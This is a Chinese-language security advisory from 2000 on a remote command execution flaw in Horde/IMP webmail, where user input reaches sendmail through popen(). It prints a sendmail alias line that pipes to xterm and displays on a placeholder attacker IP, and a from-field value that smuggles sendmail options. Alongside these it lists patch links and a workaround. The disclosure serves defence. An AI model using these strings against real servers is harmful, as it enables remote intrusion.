Horde/IMP 远程执行命令漏洞
发布日期:2000-09-20
更新日期:2000-09-20
受影响系统:
Horde IMP 2.2.1
Horde IMP 2.2
Horde IMP 2.0
不受影响系统:
Horde IMP 2.2.2
描述:
IMP 是 Horde 工程组的成员开发的功能强大的基于 web 的邮件服务程序。
它存在一个漏洞,这个漏洞使得恶意用户可执行任意的命令,方法是进行某种不
合法的输入。这个问题在 IMP 2.2.1 版本和 Horde 1.2.1 版本部分得到纠正,
办法是对用户输入合法性进行检查。
不幸的是这样做了之后,由于 sendmail 的使用和 IMP 可能泄漏文件信息,仍
有可能在运行了Horde/IMP(包括 1.2.1/2.2.1)的 web 服务器上执行命令。问题
在补丁漏掉的地方,用户的输入交给了popen()函数。popen()函数用来执行 sendmail
和命令行邮件传发命令。尽管 PHP 脚本对用户输入合法性进行了检查,但它没有
对作为 sendmail 参数的数据进行检查。结果是,可以把额外的命令行选项传给
sendmail,方法是把它附在 FROM 变量上。这是漏洞的第一个方面。
另一个可以远程执行命令漏洞与邮件附件的处理有关。邮件附件上传之后,在"compose"
消息窗口中一个隐藏的form 变量被设置。这个消息窗口被运行 IMP 的 web 服务器
用来存储临时文件的位置(文件名通常以"php"开头,放在/tmp目录中)。结果是,攻
击者可以在他/她的本地系统上创建一个文件,这个文件看起来象:
evil@localhost: "|/usr/X11R6/bin/xterm -display attackers-ip:0.0
并且把它作为附件上传给远地系统。这是 sendmial 别名文件,当邮件送到本地时,
它将执行 xterm并把它进行远程显示。
在本地,sendmail 容许用户用命令行参数进行配置。因此,可以递交象
x@x -O QueueDirectory=/tmp -O AliasFile=path-of-attachment -Fx
的值给 from 变量。sendmail 被 PHP 脚本执行时,这将致使它把队列目录作为/tmp,
把别名文件作为邮件附件发送。攻击者然后就可以从html源文件中得到它的位置,在
"from"域填入特殊的字符串,再提交这个form表单。在 sendmail 查看邮件发送给哪一
个用户时,xterm 就被送到目的地了。
<*来源: Steube,Jens (
jens.steube@coc-ag.de) *>
建议:
临时解决办法:
NSFOCUS建议您再没有打补丁或者升级之前,暂时停止使用IMP。
厂商补丁:
到下面的站点下载补丁程序:
ftp://ftp.horde.org/pub/imp/tarballs/imp-2.2.2.tar.gz
ftp://ftp.horde.org/pub/horde/tarballs/horde-1.2.2.tar.gz
Horde.org patch horde.lib
http://cvs.horde.org/cvsweb.pl/lib/Attic/horde.lib.diff?cvsroot=horde&r1=1.1.2.24%3AHORDE_1_2_1&tr1=1.1&r2=text&tr2=1.1.2.29&f=u
浏览次数:5864
严重程度:0(网友投票)